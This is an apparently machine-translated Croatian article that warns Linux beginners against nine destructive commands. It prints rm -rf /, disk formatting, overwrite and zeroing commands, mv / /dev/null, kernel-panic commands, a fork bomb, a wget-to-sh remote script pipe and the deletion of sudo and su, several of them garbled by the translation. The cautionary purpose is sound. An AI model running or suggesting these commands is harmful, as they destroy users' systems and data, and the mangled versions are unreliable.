9 smrtonosne Linux naredbe koje nikada ne smijete pokrenuti

  • Gabriel Brooks
  • 0
  • 3570
  • 1145
Oglas

Linux može biti mač s dvije oštrice. Pretpostavlja se da znate što radite i daje vam slobodu da radite sve što želite. Neće vas ispitivati. To je prikladno kad vi zapravo znate što radite, ali to također znači da biste mogli zamisliti svoj sustav neupotrebljivim u nekoliko sekundi.

Novo u Linuxu naredbenog retka? Bez brige. Započnite s našim Linux hitnim vodičem za brzo pokretanje Kratki vodič za početak rada s naredbenom linijom Linuxa Kratki vodič za početak rada s naredbenim redom Linux Možete napraviti puno nevjerojatnih stvari s naredbama u Linuxu, a to zaista nije teško naučiti. zajedno s ovih 40 osnovnih Linux naredbi A-Z Linuxa - 40 bitnih naredbi koje biste trebali znati A-Z Linuxa - 40 bitnih naredbi koje biste trebali znati Linux je često zanemareno treće kolo na Windows i Mac. Da, tijekom proteklog desetljeća, operativni sustav otvorenog koda stekao je veliku privlačnost, ali još je daleko od toga da se uzme u obzir…. S ta dva resursa, odmah ćete se upoznati s naredbenim retkom.

Ali da li ste Linux početnik ili veteran, nikada ne smijete pokretati naredbu ako ne znate točno što to radi. Evo nekih najsmrtonosnijih Linux naredbi koje ćete, najvećim dijelom, htjeti izbjeći.

Izbriši rekurzivno

Mogućnost Linuxa da bez ikakvih pitanja briše sve što želite, osobito je nakon posla u godinama “Ta se datoteka ne može izbrisati” pogreške u sustavu Windows. Ali internetski trolovi brzo će vas prevariti i predstavit će vam izuzetno opasne naredbe za uklanjanje kojima možete obrisati cijele tvrde diskove.

rm -rf /

Ova linija izvršava naredbu uklanjanja rm s dva prekidača: -r što prisiljava rekurzivno brisanje kroz sve poddirektorije i -f što prisiljava brisanje datoteka samo za čitanje bez potvrde. Naredba se izvršava na / root direktorij, u osnovi brišući svoj cijeli sustav čistim.

Imajte na umu da bi ovih dana na većini Linux sustava ako biste to pokušali dobili upozorenje. Ali upozorenje nije zagarantovano, zato jednostavno ne činite to.

Formatirajte tvrdi disk

Terminal je posebno težak za Linux početnike jer pruža nekoliko načina da se slučajno obrišu nečiji tvrdi disk. Rekurzivno brisanje je veliko, ali evo još jednog:

mkfs.ext3 / dev / hda

Ova naredba formatira tvrdi disk za upotrebu datotečnog sustava ext3. Formatiranje diskovnog pogona Kako preoblikovati svoj FAT32 pogon u NTFS - i prednosti toga što ćete učiniti kako preoblikovati svoj FAT32 pogon u NTFS - i prednosti njegovog obavljanja? Možda to ne znate, ali odabir pravog datotečnog sustava za vaše pogone zapravo je prilično važno. Iako je glavna ideja svih datotečnih sustava ista, postoje mnoge prednosti i nedostaci nad svakim ... nije urođeno zlonamjerna radnja, ali ona jest “reset” pogon takav da je “dobar kao nov”. Drugim riječima, formatirani tvrdi disk je poput prazne ploče.

Formatiranje je korisno za particije diska i vanjske pogone, ali izvršavanje na cijelom tvrdom disku (kao što je / Dev / HDA) je opasno i može ostaviti vaš sustav u bespravnom stanju.

Prepisati tvrdi disk

Kao da slučajno oblikovanje diska nije dovoljno loše, tvrdi disk možete prebrisati koristeći sirove podatke. Bar oblikovanje diska je stvarni postupak u stvarnim uporabama; direktno prepisivanje nečijeg pogona, s druge strane, nije tako sjajno.

naredba > / dev / hda

U gornjoj naredbi, naredba može se zamijeniti bilo kojom Bash naredbom. > operator preusmjerava izlaz iz naredbe slijeva u datoteku s desne strane. U ovom slučaju, nije važno koji je izlaz lijeve naredbe. Ti se neobrađeni podaci preusmjeravaju i koriste za prebrisanje tvrdog diska sustava.

Kao što možete zamisliti, to ga čini beskorisnim.

Obrišite tvrdi disk

Evo još jednog načina da uništite vaš sustav. Ovoga puta naredba će u potpunosti isprazniti vaš tvrdi disk. Nema oštećenja podataka ili prebrisanja podataka; doslovno će vaš tvrdi disk napuniti nulama. Tvrdi disk se više ne briše od toga.

dd ako je = / dev / zero od = / dev / hda

dd naredba je instrukcija niske razine koja se uglavnom koristi za pisanje podataka u fizičke pogone. ako parametar određuje izvor podataka, što je u ovom slučaju / Dev / nula, poseban na Linuxu koji proizvodi beskonačni tok nula. od parametar određuje odredište tih nula, a to je / Dev / HDA voziti.

Da, postoje opravdani razlozi za poništavanje pogona, ali ako ne znate koji su to razlozi, tada ćete se htjeti držati podalje od ove naredbe..

Uključite tvrdi disk

Ako ste umorni od slušanja načina da uništite tvrdi disk, držite se. Evo još jednog za vas. Na Linuxu postoji posebna datoteka pod nazivom / Dev / null to će odbaciti sve podatke o kojima su zapisani. Možete misliti o tome kao o crnoj rupi ili ostružitelju datoteke: sve što mu se da kao unos, pojesti će se zauvijek.

mv / / dev / null

Možete li uočiti opasnost ovdje? MV naredba pokušava pomaknuti korijenski direktorij sustava / u crnu rupu od / Dev / null. Ovo je valjana naredba, a rezultat je poražavajući: tvrdi se disk pojede i ne preostaje ništa više. Ako to učinite, vaš će se sustav učiniti neupotrebljivim.

Uzrok Kernel Panic

Windows ima svoj zloglasni Plavi ekran smrti Windows 8 Pad sustava? Kako lako riješiti plavi ekran i druge probleme Windows 8 Rušenje? Kako lako riješiti plavi ekran i druga pitanja Windows 8 nije savršen. Ipak, većina plavih ekrana i rušenja aplikacija nisu kriv za Windows. Naši savjeti pomoći će vam da prepoznate što točno nije u redu s vašim računalom i da ga riješite. , I unatoč mitovima koji lebde okolo, Linux nije savršeno siguran sustav. 4 Mitovi cyber sigurnosti koji moraju umrijeti 4 Mitovi cyber sigurnosti koji moraju umrijeti. Ponekad se dogodi unutarnja pogreška zbog koje je oporavak nemoguć, pa će sustav donijeti nešto slično Plavom ekranu: a zrnce panike.

dd if = / dev / random of = / dev / port echo 1> / proc / sys / kernel / panična mačka / dev / port cat / dev / zero> / dev / mem

Ovdje nisu važne sitnice gornjih naredbi. Što je važno je da će pokretanje bilo kojeg od tih reda rezultirati panikom kernela, prisiljavajući vas da ponovno pokrenete sustav. Najbolje je držati se podalje od ovih naredbi osim ako niste potpuno sigurni da znate što radite.

Fork Bomba

Bash je jezik Linux terminala Je li Linux zbunjujući? Evo ključnih uvjeta koje trebate znati je li Linux zbunjujući? Ovdje su ključni pojmovi koje trebate znati ovih dana, Ubuntu i druge moderne Linux distribucije obično se instaliraju bez problema (i bez potrebe za znanjem), ali kako napredujete koristeći ih, neizbježno ćete naići na sve vrste terminologije koja… i moćan je. Ne samo da može pokretati naredbe, već može i pokretati funkcije, što olakšava pisanje skripti koje mogu automatizirati zadatke sustava. Nažalost, funkcije ne dolaze bez vlastitog niza rizika.

: () : |: ;:

Ova se nejasna naredba naziva a vilinska bomba, što je posebna vrsta panike jezgre. Ona definira imenovanu funkciju : koja se rekurzivno poziva dvaput kad se izvrši. Jedan od rekurzivnih poziva događa se u prvom planu, dok se drugi događa u pozadini.

Drugim riječima, kad god se izvrši ova funkcija, ona rađa dva podređena procesa. Ta se dječja procesa kreću u procesu vlastitog djeteta i taj se ciklus nastavlja u beskonačnoj petlji. Jedini izlaz iz toga je ponovno pokretanje sustava.

Izvršavanje udaljene skripte

Evo nevine naredbe koja zapravo može biti korisna u svakodnevnom životu na Linux sustavu. wget dohvaća sadržaj web URL-a koji se može koristiti za pristup web stranicama ili preuzimanje datoteka. Međutim, postoji jednostavan trik koji ga čini opasnim:

wget http: // an-nepruzeno-url -O- | sh

Gornja kombinacija preuzima sadržaj navedenog URL-a i odmah ga unosi u sh naredba koja izvršava preuzeti sadržaj u terminalu. Ako bi URL trebao upućivati ​​na zlonamjernu skriptu, svojom bi naredbom zapečatili vlastitu sudbinu.

Onemogući korijenska prava naredbe

Ova konačna naredba je izravna. Ona koristi najčešće korištene rm naredba za onemogućavanje dvije najvažnije naredbe na Linuxu: sudo i Su. Ukratko, ovo dvoje vam omogućuje trčanje drugo naredbe s dozvolama korijena. Bez njih bi život na Linuxu bio jadan.

rm -f / usr / bin / sudo; rm -f / bin / su

Zbog toga ne biste trebali pokrenuti ovu naredbu. Na silu briše obje naredbe iz vašeg sustava bez ikakve potvrde, ostavljajući vas u zaglavljivanju. Tamo su Načini za obnavljanje onoga što ste izbrisali Najbolji načini za oporavak podataka na Linuxu Najbolji načini za oporavak podataka na Linuxu Bez obzira jeste li krivili ili ne, stvari se mogu dogoditi podacima pohranjenim na vašim uređajima. Tvrdi diskovi, SSD diskovi i prijenosni mediji mogu potencijalno "izgubiti" datoteke zbog brojnih ..., ali to nije uvijek jednostavno, niti će biti ugodno.

Molim te budi oprezan! Ne bojte se igrati oko Linuxa S obzirom na Linux? 10 uobičajenih pitanja s obzirom na Linux? 10 najčešćih odgovora na pitanja Ovdje su najčešća pitanja koja Windows korisnici imaju o Linuxu. Nakon što ste prošli ovaj popis pitanja i odgovora, trebali biste se osjećati puno sigurnije u isprobavanju Linuxa. i terminal naredbenog retka, ali istodobno, istražite i nikada ništa ne izvršavajte, osim ako niste apsolutno sigurni što to čini. Ako ti netko kaže “probaj ovu naredbu”, uvijek ga dvaput i triput provjerite.

Jeste li ikada pokrenuli destruktivnu naredbu? Što se dogodilo? Je li te netko prevario?? Podijelite svoje misli i iskustva s nama u komentarima!




Još ne komentari

O modernoj tehnologiji, jednostavnoj i pristupačnoj.
Vaš vodič u svijetu moderne tehnologije. Naučite kako koristiti tehnologije i uređaje koji nas okružuju svaki dan i naučite kako otkriti zanimljivosti na Internetu.